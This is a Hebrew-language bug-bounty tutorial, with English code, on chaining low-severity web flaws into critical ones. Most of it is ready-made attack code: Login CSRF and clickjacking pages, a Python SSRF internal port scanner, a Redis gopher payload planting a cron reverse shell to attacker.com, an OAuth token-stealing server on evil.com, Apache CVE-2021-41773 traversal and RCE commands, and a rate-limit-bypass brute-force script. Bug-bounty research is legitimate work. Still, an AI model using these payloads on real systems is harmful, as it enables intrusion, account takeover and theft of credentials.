מ-Low ל-Critical - הסלמת חומרת חולשות¶
הבנת דירוגי חומרה - CVSS¶
לפני שמתחילים להסלים חולשות, צריך להבין מה הופך ממצא לקריטי.
סולם CVSS v3.1¶
הפרמטרים שקובעים חומרה¶
Attack Vector (AV):
Network (N) - remote attack over the network
Adjacent (A) - attack from an adjacent network
Local (L) - local attack
Physical (P) - physical attack
Attack Complexity (AC):
Low (L) - easy to exploit
High (H) - requires special conditions
Privileges Required (PR):
None (N) - no privileges
Low (L) - regular privileges
High (H) - high privileges
User Interaction (UI):
None (N) - no interaction
Required (R) - requires interaction
Impact:
Confidentiality (C): None/Low/High
Integrity (I): None/Low/High
Availability (A): None/Low/High
מה הופך ממצא ל-Critical?¶
ממצא קריטי בדרך כלל כולל:
- וקטור רשת (Network)
- מורכבות נמוכה (Low)
- ללא הרשאות נדרשות (None)
- ללא אינטראקציית משתמש (None)
- אימפקט גבוה על סודיות, שלמות, וזמינות
המטרה שלנו: לקחת ממצא שלא עומד בקריטריונים האלה ולשרשר אותו כך שהתוצאה כן עומדת.
טכניקה 1 - Self-XSS ל-Full XSS¶
הבעיה¶
Self-XSS היא חולשת XSS שבה רק המשתמש עצמו יכול להזריק ולהפעיל את ה-payload. רוב תוכניות ה-Bug Bounty לא מקבלות Self-XSS כי אין סיכון אמיתי - למה שמשתמש יתקוף את עצמו?
שיטה א - Login CSRF¶
אם יש Login CSRF (אפשר לחבר קורבן לחשבון של התוקף):
<!-- Attacker page: logs the victim into the attacker's account -->
<html>
<body>
<h1>Loading...</h1>
<!-- Step 1: logs the victim out -->
<img src="https://target.com/logout" style="display:none">
<!-- Step 2: logs into the attacker's account (Login CSRF) -->
<form id="loginForm" action="https://target.com/login" method="POST">
<input type="hidden" name="username" value="attacker">
<input type="hidden" name="password" value="attacker_pass">
</form>
<script>
// Wait for the logout to finish
setTimeout(() => {
document.getElementById('loginForm').submit();
// The victim is now logged into the attacker's account
// Where the Self-XSS is already injected
// The victim sees the XSS and JavaScript runs in their browser
}, 1000);
</script>
</body>
</html>
זרימת התקיפה¶
1. Attacker injects Self-XSS into their own account (e.g. in the "about" field)
2. Attacker sends the victim a link to a page that performs Login CSRF
3. Victim is logged into the attacker's account
4. Victim browses and sees the Self-XSS
5. The JavaScript runs in the victim's browser
6. The JS steals the victim's cookies (from their real account)
or performs actions on the victim's behalf
שיטה ב - chaining עם Clickjacking¶
<!-- Attacker page: clickjacking that causes the victim to inject XSS -->
<html>
<head>
<style>
iframe {
position: absolute;
top: 0;
left: 0;
width: 500px;
height: 400px;
opacity: 0.01; /* nearly transparent */
z-index: 2;
}
.fake-page {
position: absolute;
top: 0;
left: 0;
z-index: 1;
}
.fake-button {
position: absolute;
top: 235px; /* positioned over the real save button */
left: 150px;
padding: 10px 30px;
background: #4CAF50;
color: white;
border: none;
cursor: pointer;
font-size: 18px;
}
</style>
</head>
<body>
<div class="fake-page">
<h1>You won a prize!</h1>
<p>Click the button to claim your prize</p>
<button class="fake-button">Claim prize</button>
</div>
<!-- The iframe with the vulnerable page - the profile field is already filled with XSS -->
<iframe src="https://target.com/profile/edit#bio=<script>alert(1)</script>">
</iframe>
</body>
</html>
הסלמה בדירוג¶
Before:
Self-XSS
CVSS: 0.0 (Informative)
Reason: requires the attacker to attack themselves
After chaining with Login CSRF:
Stored XSS via Login CSRF
CVSS: 6.1 (Medium) to 8.0 (High)
Reason: the attacker can trigger XSS in the victim's browser
טכניקה 2 - SSRF מוגבל ל-RCE¶
הבעיה¶
SSRF מוגבל שרק מאפשר לבצע בקשות HTTP פנימיות ללא החזרת תוכן (Blind SSRF) - בדרך כלל מדורג כ-Low.
שלב א - סריקת הרשת הפנימית¶
import requests
from concurrent.futures import ThreadPoolExecutor
TARGET = "https://target.com/api/webhook"
def scan_port(host_port):
host, port = host_port
try:
response = requests.post(TARGET, json={
'url': f'http://{host}:{port}/'
}, timeout=5)
# Short response time = open port
if response.elapsed.total_seconds() < 2:
print(f"[+] Open: {host}:{port}")
return (host, port, True)
except Exception:
pass
return (host, port, False)
# Scan internal network
targets = []
for i in range(1, 255):
for port in [80, 443, 8080, 8443, 6379, 27017, 9200, 5432, 3306]:
targets.append((f"10.0.1.{i}", port))
with ThreadPoolExecutor(max_workers=20) as executor:
results = list(executor.map(scan_port, targets))
open_ports = [(h, p) for h, p, s in results if s]
print(f"\n[+] Found {len(open_ports)} open ports")
שלב ב - זיהוי שירותים פנימיים פגיעים¶
# Check unsecured Redis
response = requests.post(TARGET, json={
'url': 'http://10.0.1.50:6379/'
})
# Check Elasticsearch
response = requests.post(TARGET, json={
'url': 'http://10.0.1.100:9200/_cat/indices'
})
# Check Kubernetes API
response = requests.post(TARGET, json={
'url': 'https://10.0.1.1:6443/api/v1/namespaces'
})
# Check Docker API
response = requests.post(TARGET, json={
'url': 'http://10.0.1.200:2375/containers/json'
})
שלב ג - exploit שירות פנימי ל-RCE¶
# Exploit unsecured Redis via SSRF (Gopher protocol)
import urllib.parse
# Redis commands to write a cron job
redis_commands = """
FLUSHALL
SET cronjob "\\n\\n*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1\\n\\n"
CONFIG SET dir /var/spool/cron/crontabs
CONFIG SET dbfilename root
SAVE
QUIT
"""
# Encode for the Gopher protocol
encoded = urllib.parse.quote(redis_commands.replace('\n', '\r\n'))
gopher_url = f"gopher://10.0.1.50:6379/_{encoded}"
response = requests.post(TARGET, json={
'url': gopher_url
})
print(f"[+] Exploit Redis: {response.status_code}")
הסלמה בדירוג¶
Before:
Blind SSRF
CVSS: 3.5 (Low)
Reason: no content is returned, only the ability to make requests
After chaining:
SSRF -> internal network scan -> Redis -> RCE
CVSS: 9.8 (Critical)
Reason: remote code execution without authentication
טכניקה 3 - Open Redirect ל-Account Takeover¶
הבעיה¶
Open Redirect בדרך כלל מדורג כ-Low או Informative - "זה רק הפניה".
שיטה א - גניבת OAuth token¶
# Legitimate redirect
GET /redirect?next=https://target.com/dashboard HTTP/1.1
Host: target.com
# Exploit
GET /redirect?next=https://evil.com HTTP/1.1
Host: target.com
שילוב עם OAuth:
Attack link:
https://auth-provider.com/authorize?
client_id=TARGET_ID&
redirect_uri=https://target.com/redirect?next=https://evil.com&
response_type=token&
scope=email+profile
Flow:
1. Victim clicks the link
2. Approves access to target.com (legitimate)
3. Redirected to: https://target.com/redirect?next=https://evil.com#access_token=TOKEN
4. Open Redirect redirects to: https://evil.com#access_token=TOKEN
5. Attacker stole the token
שיטה ב - גניבת קוד אוטוריזציה¶
from flask import Flask, request
app = Flask(__name__)
@app.route('/callback')
def steal():
# Steal the authorization code
code = request.args.get('code')
state = request.args.get('state')
if code:
# Exchange for a token
token_resp = requests.post('https://target.com/oauth/token', data={
'grant_type': 'authorization_code',
'code': code,
'redirect_uri': 'https://target.com/redirect?next=https://evil.com/callback',
'client_id': 'TARGET_CLIENT_ID'
})
token = token_resp.json()
print(f"[+] Stolen token: {token}")
# Access the account
me = requests.get('https://target.com/api/me', headers={
'Authorization': f"Bearer {token['access_token']}"
})
print(f"[+] Account: {me.json()}")
return "<h1>Error</h1>", 500
app.run(host='0.0.0.0', port=443, ssl_context='adhoc')
הסלמה בדירוג¶
Before:
Open Redirect
CVSS: 3.4 (Low)
Reason: just a redirect to an external site
After chaining:
Open Redirect -> OAuth Token Theft -> Account Takeover
CVSS: 8.1 (High)
Reason: account takeover without complex interaction
טכניקה 4 - חשיפת מידע לexploit¶
חשיפת גרסה ל-CVE¶
הexploit:
# Search for a CVE for Apache 2.4.49
# CVE-2021-41773 - Path Traversal / RCE
curl -s "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
# If mod_cgi is enabled - RCE
curl -s -X POST "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" \
-d 'echo Content-Type: text/plain; echo; id'
חשיפת קוד מקור ל-חולשות חדשות¶
שחזור קוד המקור:
# Use the git-dumper tool
git-dumper https://target.com/.git/ ./source_code
# Search for vulnerabilities in the code
grep -r "eval(" ./source_code/
grep -r "exec(" ./source_code/
grep -r "system(" ./source_code/
grep -r "password" ./source_code/config/
grep -r "secret" ./source_code/.env
grep -r "SQL" ./source_code/ | grep -i "query"
חשיפת IP פנימי ל-SSRF ממוקד¶
HTTP/1.1 500 Internal Server Error
{
"error": "Connection refused",
"details": "Could not connect to backend at 10.0.1.50:8080"
}
שימוש ב-IP שהתגלה:
# Now we have a precise target for SSRF
response = requests.post('https://target.com/api/webhook', json={
'url': 'http://10.0.1.50:8080/admin/execute?cmd=id'
})
הסלמה בדירוג¶
Before:
Version disclosure (Information Disclosure)
CVSS: 0.0 - 3.0 (Informative/Low)
After chaining:
Version -> known CVE -> RCE
CVSS: 9.8 (Critical)
טכניקה 5 - bypass Rate Limiting ל-Brute Force¶
הבעיה¶
Rate Limiting על דף ההתחברות מונע brute force - אבל אם אפשר לעקוף אותו, זה הופך ל-Account Takeover.
שיטות bypass¶
import requests
import itertools
TARGET = "https://target.com/api/login"
USERNAME = "admin@target.com"
# List of common passwords
passwords = open('top1000.txt').read().splitlines()
def try_login(password, technique):
headers = {'Content-Type': 'application/json'}
if technique == 'ip_rotation':
# Method 1: rotate IP via headers
headers['X-Forwarded-For'] = f"10.{hash(password) % 256}.{hash(password+'a') % 256}.1"
headers['X-Real-IP'] = headers['X-Forwarded-For']
elif technique == 'case_variation':
# Method 2: change case in the email
variations = []
for i in range(len(USERNAME)):
if USERNAME[i].isalpha():
v = list(USERNAME)
v[i] = v[i].swapcase()
variations.append(''.join(v))
# Each variation is treated as a different user by the Rate Limiter
elif technique == 'null_byte':
# Method 3: add characters that get normalized away
modified_user = USERNAME + '%00'
# or
modified_user = USERNAME + '\t'
elif technique == 'param_pollution':
# Method 4: Parameter pollution
return requests.post(TARGET,
data=f"username={USERNAME}&password={password}&username=different@email.com",
headers={'Content-Type': 'application/x-www-form-urlencoded'})
elif technique == 'json_array':
# Method 5: send multiple passwords in a single request
return requests.post(TARGET, json={
'username': USERNAME,
'password': [passwords[i:i+100] for i in range(0, len(passwords), 100)][0]
}, headers=headers)
return requests.post(TARGET, json={
'username': USERNAME,
'password': password
}, headers=headers)
# Try all the methods
for technique in ['ip_rotation', 'case_variation', 'null_byte', 'param_pollution']:
print(f"\n[*] Trying method: {technique}")
for password in passwords[:100]:
response = try_login(password, technique)
if response.status_code == 200 and 'token' in response.text:
print(f"[+] Password found: {password}")
break
elif response.status_code == 429:
print(f"[-] Rate limited - method {technique} doesn't work")
break
הסלמה בדירוג¶
Before:
Rate Limiting Bypass
CVSS: 3.0 (Low)
Reason: only bypasses a protection mechanism
After:
Rate Limiting Bypass -> Brute Force -> Account Takeover
CVSS: 7.5 (High) to 9.1 (Critical)
Reason: takeover of any account
הדגמת אימפקט עסקי¶
חולשה לפני הסלמה¶
Title: Self-XSS in Profile Bio Field
Severity: Informative
Payout: $0
Description: "A user can inject JavaScript into their own profile field"
אותה חולשה אחרי הסלמה¶
Title: Stored XSS via Login CSRF Leading to Mass Account Takeover
Severity: Critical
Payout: $10,000+
Description: "An attacker can take over any account via a chain:
1. Login CSRF logs the victim into the attacker's account
2. The Self-XSS injected in the attacker's account fires in the victim's browser
3. JavaScript steals the victim's real session
4. Attacker uses the session for full takeover
Business impact: every user who clicks a malicious link loses control
of their account. An attacker can access personal data, perform actions
on the user's behalf, and use the account for further attacks."
איך להציג ממצאים מוסלמים¶
מבנה דוח מומלץ¶
## Title
[Short description of the full chain - not just the individual vulnerability]
## Severity
CVSS: [score] ([level])
Vector: [full vector]
## Description
[Technical description of each vulnerability separately]
## Exploit chain
1. [First step] - [description + HTTP request]
2. [Second step] - [description + HTTP request]
3. [Third step] - [description + result]
## Proof of exploit - PoC
[Full script demonstrating the entire chain]
## Business impact
- Who is affected?
- What can the attacker do?
- What is the impact on users?
- What is the impact on the business?
## Recommended fix
[Fix for each vulnerability in the chain - one fix can break the whole chain]
טיפים להגדלת תשלום¶
- הדגימו אימפקט מקסימלי - לא רק "XSS" אלא "Account Takeover"
- הראו שהתקיפה ניתנת להרחבה - "כל משתמש" ולא "משתמש ספציפי"
- הציגו סיכון עסקי - "גישה למידע כרטיסי אשראי של לקוחות"
- ספקו PoC עובד - סקריפט שמדגים את כל השרשרת
- הציעו תיקון - הראו שאתם מבינים את הבעיה
סיכום¶
Golden rules for escalating vulnerabilities:
1. Don't dismiss findings - every vulnerability is a potential link
2. Think about connections - what else can be done with the finding
3. Map all the endpoints - look for places the vulnerability affects
4. Check protection mechanisms - maybe there's a vulnerability that bypasses the protection
5. Document everything - a well-documented chain is worth more